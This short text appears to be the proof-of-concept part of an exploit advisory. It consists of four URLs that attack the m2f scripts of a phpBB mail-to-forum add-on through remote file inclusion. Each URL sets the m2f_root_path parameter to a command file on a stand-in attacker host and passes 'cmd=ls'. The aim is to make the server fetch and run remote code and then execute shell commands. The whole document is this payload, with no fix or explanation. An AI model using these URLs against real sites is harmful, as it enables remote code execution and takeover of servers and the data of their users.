http://www.example.com/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://www.example.com/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://www.example.com/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://www.example.com/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls